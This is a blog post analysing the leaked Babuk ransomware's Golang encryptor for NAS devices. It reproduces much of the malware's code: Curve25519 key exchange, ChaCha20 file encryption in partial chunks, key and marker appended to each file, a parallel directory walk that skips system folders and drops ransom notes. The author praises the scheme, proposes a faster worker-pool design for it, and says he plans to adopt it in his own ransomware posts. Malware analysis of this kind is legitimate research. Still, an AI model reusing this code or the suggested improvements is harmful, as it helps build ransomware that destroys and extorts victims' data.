TACIX.AT About
Babuk Source Code Leak - Golang Encryptor
2021/09/05 13:37

Someone leaked the Babuk source code and VxUnderground announced and archived it. The Windows and ESXI versions were written in filthy C++, but my surprise when I saw the NAS version was written in Golang! I’ve mirrored the encryptor and decryptor on Github. Since I wrote some simple ransomware in Go over the last few blog posts, I decided to check this leak out and see what the professionals do. This post is an overview of the encryptor.

The Cypto Scheme

Right off the bat, thing that stands out to me is the use of a different cryptography scheme. We see chacha20 and curve25519.

import (
	// ...
	"golang.org/x/crypto/chacha20"
	"golang.org/x/crypto/curve25519"
)

ChaCha20 is a stream cipher that is consistently faster than AES. Curve25519 is an elliptic curve (asymmetric) that has been adopted by some major applications.

An additional benefit of Curve25519 is that it is not covered by any patents which is good since the Babuk authors would not want to be sued.

Elliptic curve cryptography utilizes, as the name implies, an elliptic curve. The curve parameters and a base point are predefined or “agreed upon”. You can do an operation on the base point to produce a new point on the curve, this is often referred to as “multiplying” it with itself. If you repeat this, you get another point on the curve. You keep doing this N times and produce a final point on the curve. The final point is your public key, and N is your private key.

EncryptFile()

seed := make([]byte, 32)
io.ReadFull(rand.Reader, seed)
copy(privateKey[:], seed)

curve25519.ScalarBaseMult(&publicKey, &privateKey)

Hopefully that code makes some sense now. Babuk generates a random private key N, then multiplies the (implicit) base along Curve25519 to produce the public key.

So now you have two keypairs, pub_a, prv_a and pub_b, prv_b. If you multiply prv_a * pub_b you get s. If you multiple prv_b * pub_a you get the same s. This allows two parties to compute a shared secret if each party knows their own private key and the other party’s public key. That is what this next line is doing. It takes the private key that was just generated for the file and multiplies it by the embedded public key m_publ in order to produce a shared secret.

Note - m_publ is the hard coded public key embedded at the top of the file.

curve25519.ScalarMult(&shared, &privateKey, &m_publ)

Following this the file is renamed to have a .babyk extension, then opened for reading and writing. The file is stat’ed to get a file size and based on that, later on, the chunk size that is encrypted changes.

Next, it generates the key and nonce for chacha20. With the key and nonce a stream cipher is generated for encrypting file bytes. The believe the usage of the lock here is unnecessary but will go into more details on that in the code review section, as well, I may be missing something that the developers experienced in practice.

l.Lock()
var cc20_k = sha256.Sum256([]byte(shared[:]))
var cc20_n = sha256.Sum256([]byte(cc20_k[:]))
l.Unlock()

stream, err := chacha20.NewUnauthenticatedCipher(cc20_k[:], cc20_n[10:22])
if err != nil {
	fmt.Println(err)
	return
}

Now there are two cases based on the file size. Large cipher mode for files larger than 0x1400000 bytes (20 MB). Babuk splits up the file into 0xA00000 byte chunks, however, the buffer only encrypts the first 0x100000 bytes of that. I assume this is for speed, or maybe to give researchers something to notice and blog about. This means only about 1/10th of the file contents will be encrypted. This is enough to destroy the file, but there will still be a lot of content visible if you look at it in a hex editor.

var chunks int64 = file_size / 0xA00000
var buffer = make([]byte, 0x100000)

var i int64
for i = 0; i < chunks; i++ {
	fmt.Printf("Processing chunk %d\\%d (%s)\n", i+1, chunks, path)
	offset = i * 0xA00000
	file.ReadAt(buffer, offset)
	stream.XORKeyStream(buffer, buffer)
	file.WriteAt(buffer, offset)
}

The small cipher mode does something similar. This is for files smaller than 0x1400000. If it is larger than 0x400000 bytes, it will only encrypt the first 0x400000. Worst case this encrypts the first 20% of the file. Most cases though this will encrypt the entire file.

var size_to_encrypt int64 = 0
if file_size > 0x400000 {
	size_to_encrypt = 0x400000
} else {
	size_to_encrypt = file_size
}

var buffer = make([]byte, size_to_encrypt)
r, _ := file.ReadAt(buffer, offset)
if int64(r) != size_to_encrypt {
	fmt.Printf("ERROR: %d != %d\n", r, size_to_encrypt)
	return
}

stream.XORKeyStream(buffer, buffer)
file.WriteAt(buffer, offset)

Finally, the public key and a special value flag are appended to the file. Flag is a unique 6 byte value used by the decryptor to ensure it is operating on a file it is meant to (and not someone else’s Babuk instance).

var flag [6]byte
flag[0] = 0xAB
flag[1] = 0xBC
flag[2] = 0xCD
flag[3] = 0xDE
flag[4] = 0xEF
flag[5] = 0xF0

// ...
file.WriteAt([]byte(publicKey[:]), file_size)
file.WriteAt([]byte(flag[:]), file_size+32)

I do like the method of storing all this data in the file, as well as using the special extension to not reencrypt files. If your first run fails, you can pick up where you left off and not double encrypt anything. Storing the key in the file is a benefit of having a fixed size key, and the ECC shared secret derivation is really elegant.

One downside to this scheme is that each install requires a unique m_publ, as m_priv is provided in the decryptor. Having a single server key allows a server to operate a bit more like an automated SaaS. That said, customizing a build that could bring in hundreds to millions of dollars is not so much work, especially for a tailored enterprise breach. Still, you could automate a lot of this infrastructure with some templating.

Filepath Walk

In main() we see a more fleshed out filepath.Walk() than what we had in our proof of concept.

As seen above, Babuk uses an extension to know whether a file has been encrypted. So when visiting files anything with the .babyk extension is skipped. They encrypt files in parallel, kicking off an encrypt_file() based on the number runtime.GOMAXPROCS(0) * 2. We will take a closer look at this in the next section.

if strings.Contains(info.Name(), ".babyk") == false 
	&& info.Name() != "README_babyk.txt" {
	fmt.Printf("Pushing to queue: %s\n", path)

	if queue_counter >= queue_max {
		wg.Wait()
		queue_counter = 0
	}
	wg.Add(1)
	go encrypt_file(&wg, path)
	queue_counter += 1
}

In the case of a directory we see a nice long list blacklisted dirs. Most of these contain system critical files that, if encrypted, would render the operating system unusable. In the case that a directory is not skipped, a README file is output.

if strings.Contains(info.Name(), "/proc") ||
	strings.Contains(path, "/boot") ||
	strings.Contains(path, "/sys") ||
	strings.Contains(path, "/run") ||
	strings.Contains(path, "/dev") ||
	strings.Contains(path, "/etc") ||
	strings.Contains(path, "/home/httpd") ||
	strings.Contains(path, ".system/thumbnail") ||
	strings.Contains(path, ".system/opt") ||
	strings.Contains(path, ".config") ||
	strings.Contains(path, ".qpkg") ||
	strings.Contains(path, "/mnt/ext/opt") {
	return filepath.SkipDir
}

ioutil.WriteFile(path+"/README_babyk.txt", note, 0777)

Code Review

As I mentioned above, I think the use of the lock in encrypt_file() is incorrect.

l.Lock()
var cc20_k = sha256.Sum256([]byte(shared[:]))
var cc20_n = sha256.Sum256([]byte(cc20_k[:]))
l.Unlock()

The variable shared is a function scope variable, so there should not be any thread contention there, as well cc20_k is scoped immediately prior. The thought is maybe Sum256() is not thread safe but looking at the source code it seems to be as the digest d in that function is local to the function, so there is not some package state code.

If the author or anyone else can explain this usage, please reach out @TACIXAT on Twitter.

Let’s also take a look at the WaitGroup. A wait group is used as sentinel. Generally, when a worker is started, you add 1 to the wait group, then when they finish they mark it as done which decrements one. The parent process then can block on the wait group until all workers are finished.

func encrypt_file(wg *sync.WaitGroup, path string) {
	defer wg.Done()
	// ...
}

func main() {
	filepath.Walk( // ...
		// ...
		if info.IsDir() == false {
			// ...	
			if queue_counter >= queue_max {
				wg.Wait()
				queue_counter = 0
			}

			wg.Add(1)
			go encrypt_file(&wg, path)
			queue_counter += 1
		}
	// ...
	})
}

This is how it is being used. Then the walker will kick off runtime.GOMAXPROCS(0) * 2 encrypt_file() instances, then block. The issue is it will block until the last one finishes. So if you kick off 8 instances, and 7 of them are only 100 KB in size, and the other is 1 GB, you will be waiting on that one worker. This assumes the bottleneck is CPU and not disk, but it is likely you could be doing more work.

A better pattern would be to initially launch runtime.GOMAXPROCS(0) * 2 workers. Then have the walk function push files to encrypt into a channel. The workers would get jobs out of that channel and encrypt the files. This would ensure that workers were always utilized and you would never block on a single large file.

A nitpick of the code is that snake_case is used. Generally, Go code is camelCase with an uppercase start indicating an exported or public variable.

cc20_k
cc20_n
encrypt_file
file_size
m_publ
queue_counter
queue_max
size_to_encrypt

There is also this unused function i64tob. This converts an unsigned 64 bit integer to little endian bytes. First, a better name would be u64tob as it is an unsigned int. Additionally, this can be done with the encoding/binary package, see binary.LittleEndian.PutUint64([]byte, uint64). Lastly, it is unused so just delete it.

func i64tob(val uint64) []byte {
	r := make([]byte, 8)
	for i := uint64(0); i < 8; i++ {
		r[i] = byte((val >> (i * 8)) & 0xff)
	}
	return r
}

Conclusion

Babuk’s crypto scheme is superior, granted I was doing an intro to cryptography, but ECC is a lot nicer than RSA and since ChaCha20 is faster than AES, I will see how I can incorporate this in the future. It is also great to see the directories that are avoided in practice on Linux. I was surprised by the partial file encryption, but that will still render it unusable and probably greatly speed up the time spent on encryption. As well, since I am talking some shit on their parallelization code I will have to show a better pattern in the future. All told, stoked about this leak.